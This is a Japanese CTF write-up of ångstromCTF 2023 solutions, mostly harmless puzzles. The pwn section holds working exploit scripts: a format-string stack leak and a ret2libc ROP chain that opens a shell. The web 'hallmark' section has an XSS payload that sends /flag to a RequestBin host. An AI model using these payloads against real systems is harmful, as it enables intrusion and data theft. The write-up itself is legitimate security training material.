この大会は2023/4/22 9:00(JST)~2023/4/27 9:00(JST)に開催されました。
今回もチームで参戦。結果は1470点で1301チーム中64位でした。
自分で解けた問題をWriteupとして書いておきます。
meow (MISC 10)
指定通りncコマンドを実行するだけ。
$ nc challs.actf.co 31337 actf{me0w_m3ow_welcome_to_angstr0mctf}
actf{me0w_m3ow_welcome_to_angstr0mctf}
sanity check (MISC 10)
Discordに入り、#rolesチャネルで旗マークのリアクションをすると、たくさんのチャネルが現れた。#generalチャネルのトピックを見ると、フラグが書いてあった。
actf{welcome_to_actf23}
Physics HW (MISC 20)
$ zsteg physics_hw.png b1,rgb,lsb,xy .. text: "actf{physics_or_forensics}" b2,r,msb,xy .. text: "_UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU" b2,g,msb,xy .. text: "WUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU" b2,b,msb,xy .. text: ["U" repeated 239 times] b2,rgb,msb,xy .. text: ["U" repeated 204 times] b2,bgr,msb,xy .. text: "}]UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU" b2,abgr,msb,xy .. text: ["W" repeated 186 times] b3,bgr,lsb,xy .. file: very old 16-bit-int big-endian archive b3,abgr,msb,xy .. file: MPEG ADTS, layer I, v2, 96 kbps, Monaural
actf{physics_or_forensics}
Admiral Shark MISC (20)
No.91パケットにほぼExcelデータと思われるデータがあるので、エクスポートする。ヘッダ部4バイトが欠けているので、以下のデータを追加して、Excelファイルにする。
50 4b 03 04
修復したExcelファイルを開くと、フラグが書いてあった。
actf{wireshark_in_space}
Simon Says (MISC 40)
$ nc challs.actf.co 31402 Combine the first 3 letters of cat with the last 3 letters of dog catdog Combine the first 3 letters of lion with the last 3 letters of monkey
単語の先頭3バイトと別の単語の末尾3バイトを結合して答えていく。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challs.actf.co', 31402)) for i in range(20): data = recvuntil(s, b'\n').rstrip() print(data) s1 = data.split(' ')[6] s2 = data.split(' ')[13] ans = s1[:3] + s2[-3:] print(ans) s.sendall(ans.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
Combine the first 3 letters of cat with the last 3 letters of bear catear Combine the first 3 letters of lizard with the last 3 letters of cat lizcat Combine the first 3 letters of monkey with the last 3 letters of lion monion Combine the first 3 letters of zebra with the last 3 letters of monkey zebkey Combine the first 3 letters of lizard with the last 3 letters of vulture lizure Combine the first 3 letters of donkey with the last 3 letters of cat doncat Combine the first 3 letters of bear with the last 3 letters of donkey beakey Combine the first 3 letters of lion with the last 3 letters of dog liodog Combine the first 3 letters of zebra with the last 3 letters of vulture zebure Combine the first 3 letters of dolphin with the last 3 letters of cat dolcat Combine the first 3 letters of dolphin with the last 3 letters of lizard dolard Combine the first 3 letters of bear with the last 3 letters of lizard beaard Combine the first 3 letters of dragon with the last 3 letters of lizard draard Combine the first 3 letters of dog with the last 3 letters of cat dogcat Combine the first 3 letters of fish with the last 3 letters of vulture fisure Combine the first 3 letters of fish with the last 3 letters of fish fisish Combine the first 3 letters of donkey with the last 3 letters of dolphin donhin Combine the first 3 letters of dragon with the last 3 letters of giraffe draffe Combine the first 3 letters of lion with the last 3 letters of dog liodog Combine the first 3 letters of vulture with the last 3 letters of dolphin vulhin actf{simon_says_you_win}
actf{simon_says_you_win}
queue (PWN 40)
Ghidraでデコンパイルする。
void main(void) { __gid_t __rgid; FILE *__stream; long in_FS_OFFSET; char local_c8 [48]; char local_98 [136]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdout,(char *)0x0); __rgid = getegid(); setresgid(__rgid,__rgid,__rgid); __stream = fopen("flag.txt","r"); if (__stream == (FILE *)0x0) { puts("Error: missing flag.txt."); /* WARNING: Subroutine does not return */ exit(1); } fgets(local_98,0x80,__stream); printf("What did you learn in class today? "); fgets(local_c8,0x30,stdin); printf("Oh nice, "); printf(local_c8); printf("sounds pretty cool!"); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
メモリ上にフラグがあるので、FSBで表示させる。
: $ ./queue What did you learn in class today? %13$p Oh nice, (nil) $ ./queue What did you learn in class today? %14$p Oh nice, 0x676f687b67616c66 :
14番目のスタック以降にフラグがあるので、繰り返しスタックを確認しフラグを取得する。
#!/usr/bin/env python3 from pwn import * i = 14 flag = b'' while True: p = remote('challs.actf.co', 31322) payload = '%' + str(i) + '$p' data = p.recvuntil(b'? ').decode() print(data + payload) p.sendline(payload.encode()) data = p.recvline().decode().rstrip() print(data) p.close() flag += p64(int(data.split(' ')[-1], 16)) if b'}' in flag: break i += 1 flag = flag.decode() print(flag)
実行結果は以下の通り。
[+] Opening connection to challs.actf.co on port 31322: Done What did you learn in class today? %14$p Oh nice, 0x3474737b66746361 [*] Closed connection to challs.actf.co port 31322 [+] Opening connection to challs.actf.co on port 31322: Done What did you learn in class today? %15$p Oh nice, 0x75715f74695f6b63 [*] Closed connection to challs.actf.co port 31322 [+] Opening connection to challs.actf.co on port 31322: Done What did you learn in class today? %16$p Oh nice, 0x615f74695f657565 [*] Closed connection to challs.actf.co port 31322 [+] Opening connection to challs.actf.co on port 31322: Done What did you learn in class today? %17$p Oh nice, 0x3437396461393136 [*] Closed connection to challs.actf.co port 31322 [+] Opening connection to challs.actf.co on port 31322: Done What did you learn in class today? %18$p Oh nice, 0x7d32326234363863 [*] Closed connection to challs.actf.co port 31322 actf{st4ck_it_queue_it_a619ad974c864b22}
actf{st4ck_it_queue_it_a619ad974c864b22}
gaga (PWN 70)
パートが分かれているので、順番に攻略すれば、フラグの断片がわかると思ったが、最終パートが解ければ、フラグが得られるので、ここでは最終パートのみ記載する。
$ checksec --file gaga2 [*] '/mnt/hgfs/Shared/gaga2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Ghidraでデコンパイルする。
void main(void) { char local_48 [60]; __gid_t local_c; setbuf(stdout,(char *)0x0); local_c = getegid(); setresgid(local_c,local_c,local_c); puts("Awesome! Now there\'s no system(), so what will you do?!"); printf("Your input: "); gets(local_48); return; }
GOT領域のアドレスをリークし、libcのbaseアドレスを算出してからmainに飛ばし、2周目でOne Gadget RCEを行う。
$ ROPgadget --binary gaga2 --re "pop rdi" Gadgets information ============================================================ 0x00000000004012b3 : pop rdi ; ret Unique gadgets found: 1
各関数のアドレスをleakし、下3桁を確認する。
puts: 420 gets: 970 printf: c90
https://libc.blukat.me/で調べた結果、libc6_2.31-0ubuntu9.9_amd64.soが該当する。ダウンロードして、one gadgetを調べる。
$ one_gadget libc6_2.31-0ubuntu9.9_amd64.so 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('challs.actf.co', 31302) else: p = process('./gaga2') elf = ELF('./gaga2') libc = ELF('./libc6_2.31-0ubuntu9.9_amd64.so') pop_rdi = 0x4012b3 puts_plt_addr = elf.plt['puts'] puts_got_addr = elf.got['puts'] main_addr = elf.symbols['main'] one_gadget_addr = 0xe3b01 payload = b'A' * 72 payload += p64(pop_rdi) payload += p64(puts_got_addr) payload += p64(puts_plt_addr) payload += p64(main_addr) data = p.recvline().decode().rstrip() print(data) data = p.recvuntil(b': ').decode() print(data, end='') print(payload) p.sendline(payload) leak = p.recvline().rstrip() puts_addr = u64(leak.ljust(8, b'\0')) log.info('leaked puts address: ' + hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] log.info('libc base address: ' + hex(libc_base)) payload = b'A' * 72 payload += p64(libc_base + one_gadget_addr) data = p.recvline().decode().rstrip() print(data) data = p.recvuntil(b': ').decode() print(data, end='') print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to challs.actf.co on port 31302: Done [*] '/mnt/hgfs/Shared/gaga2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/mnt/hgfs/Shared/libc6_2.31-0ubuntu9.9_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Awesome! Now there's no system(), so what will you do?! Your input: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb3\x12@\x00\x00\x00\x00\x00\x18@@\x00\x00\x00\x00\x00\x94\x10@\x00\x00\x00\x00\x00\xd6\x11@\x00\x00\x00\x00\x00' [*] leaked puts address: 0x7f541554f420 [*] libc base address: 0x7f54154cb000 Awesome! Now there's no system(), so what will you do?! Your input: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x01\xebZ\x15T\x7f\x00\x00' [*] Switching to interactive mode $ ls flag.txt run $ cat flag.txt actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}
actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}
checkers (REV 20)
$ strings checkers | grep actf actf{ive_be3n_checkm4ted_21d1b2cebabf983f}
actf{ive_be3n_checkm4ted_21d1b2cebabf983f}
zaza (REV 50)
Ghidraでデコンパイルする。
void main(void) { int iVar1; size_t sVar2; long in_FS_OFFSET; int local_60; uint local_5c; char local_58 [72]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdout,(char *)0x0); local_60 = 0; local_5c = 0; printf("I\'m going to sleep. Count me some sheep: "); __isoc99_scanf(&DAT_00102092,&local_60); if (local_60 != 0x1337) { puts("That\'s not enough sheep!"); /* WARNING: Subroutine does not return */ exit(1); } printf("Nice, now reset it. Bet you can\'t: "); __isoc99_scanf(&DAT_00102092,&local_5c); if (local_5c * local_60 == 1) { printf("%d %d",(ulong)local_5c,(ulong)(local_60 + local_5c)); puts("Not good enough for me."); /* WARNING: Subroutine does not return */ exit(1); } puts("Okay, what\'s the magic word?"); getchar(); fgets(local_58,0x40,stdin); sVar2 = strcspn(local_58,"\n"); local_58[sVar2] = '\0'; xor_(local_58); iVar1 = strncmp(local_58,"2& =$!-( <*+*( ?!&$$6,. )\' $19 , #9=!1 <*=6 <6;66#",0x32); if (iVar1 != 0) { puts("Nope"); /* WARNING: Subroutine does not return */ exit(1); } win(); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } void xor_(long param_1) { size_t sVar1; int local_24; local_24 = 0; while( true ) { sVar1 = strlen("anextremelycomplicatedkeythatisdefinitelyuselessss"); if (sVar1 <= (ulong)(long)local_24) break; *(byte *)(param_1 + local_24) = *(byte *)(param_1 + local_24) ^ "anextremelycomplicatedkeythatisdefinitelyuselessss"[local_24]; local_24 = local_24 + 1; } return; }
最初の入力では0x1337の10進数表記を指定すればよい。
>>> 0x1337 4919
次の入力は適当で良さそう。
その次は以下の2つの文字列をXORしたものを指定すればよい。
"anextremelycomplicatedkeythatisdefinitelyuselessss" "2& =$!-( <*+*( ?!&$$6,. )\' $19 , #9=!1 <*=6 <6;66#"
>>> from Crypto.Util.strxor import strxor >>> key = b"anextremelycomplicatedkeythatisdefinitelyuselessss" >>> ct = b"2& =$!-( <*+*( ?!&$$6,. )\' $19 , #9=!1 <*=6 <6;66#" >>> strxor(ct, key).decode() 'SHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEP'
$ nc challs.actf.co 32760 I'm going to sleep. Count me some sheep: 4919 Nice, now reset it. Bet you can't: 1 Okay, what's the magic word? SHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEP actf{g00dnight_c7822fb3af92b949}
actf{g00dnight_c7822fb3af92b949}
Bananas (REV 100)
Elixirというプログラミング言語で作成されたバイナリと推測できる。
まずelixirをインストールする。
$ sudo apt install elixir
https://github.com/michalmuskala/decompile
$ mix archive.install github michalmuskala/decompile
デコンパイルする。
$ mix decompile Elixir.Bananas --to expanded $ cat Elixir.Bananas.ex defmodule Bananas do defp to_integer([num, string]) do [:erlang.binary_to_integer(num), string] end defp to_integer(list) do list end defp print_flag(false) do IO.puts("Nope") end defp print_flag(true) do IO.puts(File.read!("flag.txt")) end def main(args) do print_flag(check(convert_input(IO.gets("How many bananas do I have?\n")))) end def main() do super([]) end defp convert_input(string) do to_integer(String.split(String.trim(string))) end defp check([num, "bananas"]) do :erlang.==(:erlang.-(:erlang.*(:erlang.+(num, 5), 9), 1), 971) end defp check(_asdf) do false end end
(x + 5) * 9 - 1 == 971 となる x を指定できれば良い。
x = (971 + 1) // 9 - 5 = 103
答えるときには" bananas"を忘れずに付ける。
$ nc challs.actf.co 31403 How many bananas do I have? 103 bananas actf{baaaaannnnananananas_yum}
actf{baaaaannnnananananas_yum}
catch me if you can (WEB 10)
フラグが動き回ていて確認が難しい。HTMLソースを見ると、フラグが書いてある。
<marquee scrollamount="50" id="flag">actf{y0u_caught_m3!_0101ff9abc2a724814dfd1c85c766afc7fbd88d2cdf747d8d9ddbf12d68ff874}</marquee>
actf{y0u_caught_m3!_0101ff9abc2a724814dfd1c85c766afc7fbd88d2cdf747d8d9ddbf12d68ff874}
Celeste Speedrunning Association (WEB 20)
https://mount-tunnel.web.actf.co/playで[Press when done!]をクリックすると、https://mount-tunnel.web.actf.co/submitに遷移し、以下のメッセージ表示される。
you did not beat all the record holders :(
このとき表示はされていないが、start=1682208916.958885 がPOSTされていた。時刻を進め、遅いと言われないようにする。
$ curl https://mount-tunnel.web.actf.co/submit -d "start=1682218916.958885" you win the flag: actf{wait_until_farewell_speedrun}
actf{wait_until_farewell_speedrun}
shortcircuit (WEB 40)
HTMLソースを見ると、以下のように書いてある。
<script> const swap = (x) => { let t = x[0] x[0] = x[3] x[3] = t t = x[2] x[2] = x[1] x[1] = t t = x[1] x[1] = x[3] x[3] = t t = x[3] x[3] = x[2] x[2] = t return x } const chunk = (x, n) => { let ret = [] for(let i = 0; i < x.length; i+=n){ ret.push(x.substring(i,i+n)) } return ret } const check = (e) => { if (document.forms[0].username.value === "admin"){ if(swap(chunk(document.forms[0].password.value, 30)).join("") == "7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7"){ location.href="/win.html" } else{ document.getElementById("msg").style.display = "block" } } } </script>
以下のように置いて、考える。
p0 = password[0:30] p1 = password[30:60] p2 = password[60:90] p3 = password[90:120]
swapでは以下のようになる。
p0 + p1 + p2 + p3 → p3 + p1 + p2 + p0 → p3 + p2 + p1 + p0 → p3 + p0 + p1 + p2 → p3 + p0 + p2 + p1
これを元に順番を入れ替える。
7e08250c4aaa9ed206fd7c9e398e2} → p3 actf{cl1ent_s1de_sucks_544e67e → p0 f12024523398ee02fe7517fffa9251 → p2 6317199e454f4d2bdb04d9e419ccc7 → p1
actf{cl1ent_s1de_sucks_544e67e6317199e454f4d2bdb04d9e419ccc7f12024523398ee02fe7517fffa92517e08250c4aaa9ed206fd7c9e398e2}
directory (WEB 40)
0.html~4999.htmlまでのリンクがある。総当たりでアクセスし、"actf"が含まれているページを探す。
#!/usr/bin/env python3 import requests url_format = 'https://directory.web.actf.co/%d.html' for i in range(5000): url = url_format % i r = requests.get(url) print(i, '->', r.text) if 'actf' in r.text: print('flag:', r.text) break
実行結果は以下の通り。
: 3041 -> your flag is in another file 3042 -> your flag is in another file 3043 -> your flag is in another file 3044 -> your flag is in another file 3045 -> your flag is in another file 3046 -> your flag is in another file 3047 -> your flag is in another file 3048 -> your flag is in another file 3049 -> your flag is in another file 3050 -> your flag is in another file 3051 -> your flag is in another file 3052 -> your flag is in another file 3053 -> your flag is in another file 3054 -> actf{y0u_f0und_me_b51d0cde76739fa3} flag: actf{y0u_f0und_me_b51d0cde76739fa3}
actf{y0u_f0und_me_b51d0cde76739fa3}
Celeste Tunneling Association (WEB 40)
HTTPヘッダに以下が設定されていたら、フラグが表示される。
name : "host" value: "flag.local"
$ curl https://pioneer.tailec718.ts.net/ -H 'host: flag.local' actf{reaching_the_core__chapter_8}
actf{reaching_the_core__chapter_8}
hallmark (WEB 80)
一回作成したカードについて、そのidを使って、putメソッドでid, type, svg, contentを指定して、アップロードすることができる。
テストしてみる。
$ curl https://hallmark.web.actf.co/card -X PUT -d 'id=7bdaab7c-dbbb-440e-8826-4a89963cdbc8&type=text/plain&content=test' ok $ curl https://hallmark.web.actf.co/card?id=7bdaab7c-dbbb-440e-8826-4a89963cdbc8 test
うまくいっている。
おそらく"image/svg+xml"のtypeでXSSができる。
通常は以下のコマンドで対応できる。
$ curl https://hallmark.web.actf.co/card -X PUT -d 'id=7bdaab7c-dbbb-440e-8826-4a89963cdbc8' --data-urlencode 'type=image/svg+xml' -d 'svg=snowman' ok
putメソッドで、typeとcontentの判定には以下の処理を行っている。
cards[id].type = type == "image/svg+xml" ? type : "text/plain"; cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;
typeは等価演算子で判定していることを利用する。typeを"image/svg+xml"にして、contentを指定したものにするために、type[]を使う。
以下を実行した場合、ページをリロードするとポップアップで"1"が表示された。
$ curl https://hallmark.web.actf.co/card -X PUT -d 'id=7bdaab7c-dbbb-440e-8826-4a89963cdbc8' --data-urlencode type[]=image/svg+xml --data-urlencode 'content=<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:rdf=...(cake.svgのsvgタグのデータ)..."><script type="text/javascript">alert(1);</script></svg>'
以下を実行し、/flagへのアクセスのレスポンスをRequestBinに転送させるようにする。
$ curl https://hallmark.web.actf.co/card -X PUT -d 'id=7bdaab7c-dbbb-440e-8826-4a89963cdbc8' --data-urlencode type[]=image/svg+xml --data-urlencode 'content=<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:rdf=...(cake.svgのsvgタグのデータ)..."><script type="text/javascript">fetch("/flag").then(r=>r.text()).then(z=>navigator.sendBeacon("https://[RequestBinのドメイン]", z));</script></svg>'
Admin Botで以下にアクセスさせる。
https://hallmark.web.actf.co/card?id=7bdaab7c-dbbb-440e-8826-4a89963cdbc8
RequestBin側にアクセスが来ていて、フラグが転送されていた。
actf{the_adm1n_has_rece1ved_y0ur_card_cefd0aac23a38d33}
ranch (CRYPTO 20)
シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。
Rotation 17: actf{lo0ks_like_we'll_h4ve_to_try_an0ther_dress1ng_5ef89b3a44901831}
actf{lo0ks_like_we'll_h4ve_to_try_an0ther_dress1ng_5ef89b3a44901831}
impossible (CRYPTO 50)
以下の場合条件を満たす。
x = 2**128 y = 2**64
>>> 2**128 340282366920938463463374607431768211456 >>> 2**64 18446744073709551616
$ nc challs.actf.co 32200 Supply positive x and y such that x < y and x > y. x: 340282366920938463463374607431768211456 y: 18446744073709551616 actf{se3ms_pretty_p0ssible_t0_m3_7623fb7e33577b8a}
actf{se3ms_pretty_p0ssible_t0_m3_7623fb7e33577b8a}
Lazy Lagrange (CRYPTO 70)
$ nc challs.actf.co 32100 : 1 > 0 116 : 2 > 34 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 :
サーバの処理概要は以下の通り。
・N: フラグの長さ(18以下) ・p = None ・a = None ・M = (1 << 127) - 1 ・以下繰り返し ・choice: 1 or 2を入力 ・choiceが1の場合 ・query1(入力: s1) ・s1の長さが100より大きい場合、NGメッセージ表示 ・x: s1をスペース区切りで要素とする配列 ・xの長さが10より大きい場合、NGメッセージ表示 ・x[i]が数値ではない場合、NGメッセージ表示 ・x: xの各文字を数値にしたタプル ・p: N未満の値を順序を変えた配列 ・a: pの各値をインデックスとしてフラグの各文字のASCIIコードの配列 ・res = '' ・xの各値x_iについて以下を実行 ・j: N未満の各値で、a[j] * x_i ** j の合計値を結合 ・resを表示 ・choiceが2の場合 ・query2(入力: s2) ・s2の長さが100より大きい場合、NGメッセージ表示 ・x: s2をスペース区切りで要素とする配列 ・x[i]が数値ではない場合、NGメッセージ表示 ・x: xの各文字を数値にした配列 ・xの長さがNになるよう0でパディング ・z = 1 ・N未満の各値iについて以下を実行 ・z *= not x[i] - a[i] ・pの各値p_iについて、p_i * zの値を文字列としてスペース区切りで連結したものを表示
choice 1のメニューで、aの値を割り出す。choice 2のメニューで、0が18個出力されているので、フラグの長さNは18である。
x_i = 0の場合 sum(a[j] * 0 ** j for j in range(N)) % M = a[0] x_1 = 1の場合 sum(a[j] * 1 ** j for j in range(N)) % M = a[0] + a[1] + ... + a[N-1] :
以上のように計算される。choice 1で128を指定すれば、128**n(n: 17~1)で割った余りでaの値を算出できる。あとは、その値をchoice 2で指定すれば、そのインデックス情報が表示されるので、それを基に並び替える。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challs.actf.co', 32100)) data = recvuntil(s, b': ') print(data + '1') s.sendall(b'1\n') data = recvuntil(s, b'> ') print(data + '128') s.sendall(b'128\n') data = recvuntil(s, b'\n').rstrip() print(data) sum = int(data) a = [] for i in range(17, 0, -1): div = 128 ** i a.insert(0, sum // div) sum = sum % div a.insert(0, sum) ans = '' for i in range(len(a)): ans += str(a[i]) ans += ' ' ans = ans[:-1] data = recvuntil(s, b': ') print(data + '2') s.sendall(b'2\n') data = recvuntil(s, b'> ') print(data + ans) s.sendall(ans.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) p = [int(i) for i in data.split(' ')] flag = ''.join([chr(a[p.index(i)]) for i in range(18)]) print(flag)
実行結果は以下の通り。
: 1 > 128 36396985561424478644062948474236727782 : 2 > 102 99 97 98 125 56 48 102 56 55 55 54 48 116 123 102 97 54 3 1 13 16 17 6 7 5 11 14 15 12 10 2 4 8 0 9 actf{f80f6086a77b}
actf{f80f6086a77b}
Royal Society of Arts (CRYPTO 70)
RSA暗号で、以下の値もわかっている。
(p - 2) * (q - 1) (p - 1) * (q - 2)
以下のように定義する。
(p - 2) * (q - 1) = A (p - 1) * (q - 2) = B
A + q - 1 = (p - 2) * (q - 1) + (q - 1) = (p - 1) * (q - 1) B + p - 1 = (p - 1) * (q - 2) + (p - 1) = (p - 1) * (q - 1) ↓ A + q - 1 = B + p - 1 q - p = B - A ↓ q = p + B - A
以上のことと、p * q = nであることを使えば、pの2次方程式になるので、pを割り出すことができる。あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * import sympy with open('out.txt', 'r') as f: params = f.read().splitlines() n = int(params[0].split(' = ')[1]) e = int(params[1].split(' = ')[1]) c = int(params[2].split(' = ')[1]) A = int(params[3].split(' = ')[1]) B = int(params[4].split(' = ')[1]) p = sympy.Symbol('p') q = p + B - A eq = p * q - n ans = sympy.solve(eq) for p in ans: if p > 0: break p = int(p) q = n // p assert p * q == n phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
actf{tw0_equ4ti0ns_in_tw0_unkn0wns_d62507431b7e7087}
Royal Society of Arts 2 (CRYPTO 70)
サーバは復号してくれるが、フラグの暗号データだけは復号してくれない。modulusを考慮した上で、暗号化データを適当な値との積として考える。それぞれの復号データの積を取れば、フラグを割り出せる。
#!/usr/bin/env python3 import socket from Crypto.Util.number import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challs.actf.co', 32400)) data = recvuntil(s, b'\n').rstrip() print(data) n = int(data.split(' = ')[1]) data = recvuntil(s, b'\n').rstrip() print(data) e = int(data.split(' = ')[1]) data = recvuntil(s, b'\n').rstrip() print(data) c = int(data.split(' = ')[1]) m0 = 2 c0 = pow(m0, e, n) c1 = c * inverse(c0, n) assert (c0 * c1) % n == c data = recvuntil(s, b': ') print(data + str(c1)) s.sendall(str(c1).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) m1 = int(data.split(' = ')[1]) m = (m0 * m1) % n flag = long_to_bytes(m).decode() print(flag)
実行結果は以下の通り。
n = 136753100242576336499973068846366402357095332336275689090583700000833774119973997134180292506702249754051190934035919531343926788323481847646676828656736086775591954084503285983525331854278603309606736369507970540738647638859520033470176888040971285156878233226446242423115232401731516687659825297325826713583 e = 65537 c = 41676457107981483166693799044773968454802257728904928039732665918897767861719267046933646668457167322504356921786687866532181909889102603390068562200690004664339528710971732784638060116267839838817380576409846666224665638966361559594600329896940900813125127205283787666973437634104571582379682820915258498921 Text to decrypt: 3805538819466338903836978837653146917519088738602000121835292201317067214060065170953983482044672758652814219283625860127008442355801820928857526040509059593498476885520315718772487652942533610513434653414427898713254536372374635920914429863956132016814883438675393468245947718223843380936411947428608792448354763210984334504304907024333693374835560936547806273674762595033321880418008457453232141411645108113956532692306356321409049847649233620395973601527758992437231860205649802780059812080355508837728058544497775860139028616041844320757226111787607774015365513315331082817078992746462104178269886912322957445819 m = 68376550121288168249986534423183201178547666168137844545291850000416887059986998567090146253351124877025595467017959765671963394161740923823338414328368043387795977042251642991762665927139301654832644476247503417998578771031770169705201233250854041620009962277196979629711793837909241151761174941489772152118 actf{rs4_is_sorta_homom0rphic_50c8d344df58322b}
actf{rs4_is_sorta_homom0rphic_50c8d344df58322b}